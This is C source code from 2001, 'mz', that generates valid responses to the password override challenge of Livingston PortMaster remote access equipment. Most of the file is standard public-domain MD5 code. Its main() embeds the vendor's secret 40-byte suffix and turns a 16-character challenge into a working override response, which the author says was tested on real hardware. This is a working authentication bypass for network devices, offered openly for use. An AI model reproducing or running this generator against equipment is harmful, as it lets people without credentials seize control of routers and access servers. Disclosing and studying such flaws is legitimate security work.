/*
 * This code implements a RESPONSE generator for CHALLENGES
 * originated trought the password override procedure of
 * Livingston Remote Access equipment. Namely, it was tested
 * with PortMaster3 known-good CHALLENGE/RESPONSE pairs, and
 * hands-on on a PortMaster3 unit. It's hoped to work on all
 * ranges of equipment that implement the same procedure for
 * password override.
 *
 * The RESPONSE is just an MD5 digest (converted to a limited
 * range of ascii chars) of a message composed from the
 * CHALLENGE (16 bytes, all in the same ascii range) and from
 * 40 extra bytes.
 *
 * If you use this code, in whatever way, I would rather like
 * you to keep some reference to it's chosen name (mz). That is
 * not, however, a requirement. Like the MD5 code for which I'm
 * grateful, this code is in the public domain; do with it what
 * you wish.
 *
 * August, 2001 - pmsac@toxyn.org
 */

/* The following is the original message for the MD5 code
 * with a little add-on from me */

/*
 * This code implements the MD5 message-digest algorithm.
 * The algorithm is due to Ron Rivest.  This code was
 * written by Colin Plumb in 1993, no copyright is claimed.
 * This code is in the public domain; do with it what you wish.
 *
 * Equivalent code is available from RSA Data Security, Inc.
 * This code has been tested against that, and is equivalent,
 * except that you don't need to include two pages of legalese
 * with every copy.
 *
 * To compute the message digest of a chunk of bytes, declare an
 * MD5Context structure, pass it to MD5Init, call MD5Update as
 * needed on buffers full of bytes, and then call MD5Final, which
 * will fill a supplied 16-byte array with the digest.
 *
 * Changed so as no longer to depend on Colin Plumb's `usual.h' header
 * definitions; now uses stuff from dpkg's config.h.
 *  - Ian Jackson <ijackson@nyx.cs.du.edu>.
 * Still in the public domain.
 *
 * Modularised for Nemesis by Stephen Early
 *
 * Got the code from Nemesis, but don't need the extras, so I cleaned up
 * a bit.
 * pmsac@toxyn.org
 */

#include <sys/types.h>

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h> /* for memcpy() */

struct MD5Context {
        u_int32_t buf[4];
        u_int32_t bytes[2];
        u_int32_t in[16];
};

static void MD5Init(struct MD5Context *context);
static void MD5Update(struct MD5Context *context,
                      u_int8_t const *buf, unsigned len);
static void MD5Final(unsigned char digest[16], struct MD5Context *context);
static void MD5Transform(u_int32_t buf[4], u_int32_t const in[16]);

#ifdef BIG_ENDIAN
void
byteSwap(u_int32_t *buf, unsigned words)
{
        u_int8_t *p = (u_int8_t *)buf;

        do {
                *buf++ = (u_int32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
                        ((unsigned)p[1] << 8 | p[0]);
                p += 4;
        } while (--words);
}
#else
#define byteSwap(buf,words)
#endif

/*
 * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
 * initialization constants.
 */
void
MD5Init(struct MD5Context *ctx)
{
        ctx->buf[0] = 0x67452301;
        ctx->buf[1] = 0xefcdab89;
        ctx->buf[2] = 0x98badcfe;
        ctx->buf[3] = 0x10325476;

        ctx->bytes[0] = 0;
        ctx->bytes[1] = 0;
}

/*
 * Update context to reflect the concatenation of another buffer full
 * of bytes.
 */
void
MD5Update(struct MD5Context *ctx, u_int8_t const *buf, unsigned len)
{
        u_int32_t t;

        /* Update byte count */

        t = ctx->bytes[0];
        if ((ctx->bytes[0] = t + len) < t)
                ctx->bytes[1]++;        /* Carry from low to high */

        t = 64 - (t & 0x3f);    /* Space available in ctx->in (at least 1) */
        if (t > len) {
                memcpy((u_int8_t *)ctx->in + 64 - t, buf, len);
                return;
        }
        /* First chunk is an odd size */
        memcpy((u_int8_t *)ctx->in + 64 - t, buf, t);
        byteSwap(ctx->in, 16);
        MD5Transform(ctx->buf, ctx->in);
        buf += t;
        len -= t;

        /* Process data in 64-byte chunks */
        while (len >= 64) {
                memcpy(ctx->in, buf, 64);
                byteSwap(ctx->in, 16);
                MD5Transform(ctx->buf, ctx->in);
                buf += 64;
                len -= 64;
        }

        /* Handle any remaining bytes of data. */
        memcpy(ctx->in, buf, len);
}

/*
 * Final wrapup - pad to 64-byte boundary with the bit pattern
 * 1 0* (64-bit count of bits processed, MSB-first)
 */
void
MD5Final(u_int8_t digest[16], struct MD5Context *ctx)
{
        int count = ctx->bytes[0] & 0x3f;       /* Number of bytes in ctx->in */
        u_int8_t *p = (u_int8_t *)ctx->in + count;

        /* Set the first char of padding to 0x80.  There is always room. */
        *p++ = 0x80;

        /* Bytes of padding needed to make 56 bytes (-8..55) */
        count = 56 - 1 - count;

        if (count < 0) {        /* Padding forces an extra block */
                memset(p, 0, count + 8);
                byteSwap(ctx->in, 16);
                MD5Transform(ctx->buf, ctx->in);
                p = (u_int8_t *)ctx->in;
                count = 56;
        }
        memset(p, 0, count);
        byteSwap(ctx->in, 14);

        /* Append length in bits and transform */
        ctx->in[14] = ctx->bytes[0] << 3;
        ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
        MD5Transform(ctx->buf, ctx->in);

        byteSwap(ctx->buf, 4);
        memcpy(digest, ctx->buf, 16);
        memset(ctx, 0, sizeof(ctx));    /* In case it's sensitive */
}

/* The four core functions - F1 is optimized somewhat */

/* #define F1(x, y, z) (x & y | ~x & z) */
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

/* This is the central step in the MD5 algorithm. */
#define MD5STEP(f,w,x,y,z,in,s) \
         (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)

/*
 * The core of the MD5 algorithm, this alters an existing MD5 hash to
 * reflect the addition of 16 longwords of new data.  MD5Update blocks
 * the data and converts bytes into longwords for this routine.
 */
void
MD5Transform(u_int32_t buf[4], u_int32_t const in[16])
{
        register u_int32_t a, b, c, d;

        a = buf[0];
        b = buf[1];
        c = buf[2];
        d = buf[3];

        MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
        MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
        MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
        MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
        MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
        MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
        MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
        MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
        MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
        MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
        MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
        MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
        MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
        MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
        MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
        MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

        MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
        MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
        MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
        MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
        MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
        MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
        MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
        MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
        MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
        MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
        MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
        MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
        MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
        MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
        MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
        MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

        MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
        MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
        MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
        MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
        MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
        MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
        MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
        MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
        MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
        MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
        MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
        MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
        MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
        MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
        MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
        MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

        MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
        MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
        MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
        MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
        MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
        MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
        MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
        MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
        MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
        MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
        MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
        MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
        MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
        MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
        MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
        MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

        buf[0] += a;
        buf[1] += b;
        buf[2] += c;
        buf[3] += d;
}

#define DIGLEN 16
#define BUFLEN 56

int main(int argc, char *argv[]) {
char *usage = "Usage: mz 16_CHARS_OF_CHALLENGE\n2001, pmsac@toxyn.org\nThere once was a Livingston RABU...\n";
struct MD5Context ctx;
unsigned char digest[16];
char response[DIGLEN+1];
char buf[BUFLEN] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x72, 0x72, 0x6f, 0x72, 0x3a, 0x20, 0x48, 0x6f,
0x73, 0x74, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65,
0x73, 0x73, 0x20, 0x6d, 0x75, 0x73, 0x74, 0x20,
0x62, 0x65, 0x20, 0x69, 0x6e, 0x20, 0x74, 0x68,
0x65, 0x20, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74
};

int i;

 if (argc != 2) {
  printf("%s", usage);
  return 1;
 }

 if (strlen(argv[1]) != DIGLEN) {
  printf("%s", usage);
  return 2;
 }

 for (i=0; i<DIGLEN; i++) {
  if ((argv[1][i] < 0x30) || (argv[1][i] > (0x30+0x2B-1))) {
   printf("%s", usage);
   return 3;
  }
 }

 printf("CHALLENGE: %s\n", argv[1]);

 bcopy(argv[1], buf, DIGLEN); 
 MD5Init(&ctx);
 MD5Update(&ctx, buf, BUFLEN);
 MD5Final(digest, &ctx);

 sprintf(response, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", digest[0]%0x2b+0x30, digest[1]%0x2b+0x30, digest[2]%0x2b+0x30, digest[3]%0x2b+0x30, digest[4]%0x2b+0x30, digest[5]%0x2b+0x30, digest[6]%0x2b+0x30, digest[7]%0x2b+0x30, digest[8]%0x2b+0x30, digest[9]%0x2b+0x30, digest[10]%0x2b+0x30, digest[11]%0x2b+0x30, digest[12]%0x2b+0x30, digest[13]%0x2b+0x30, digest[14]%0x2b+0x30, digest[15]%0x2b+0x30);

 printf("RESPONSE: %s\n", response);
 return 0;
}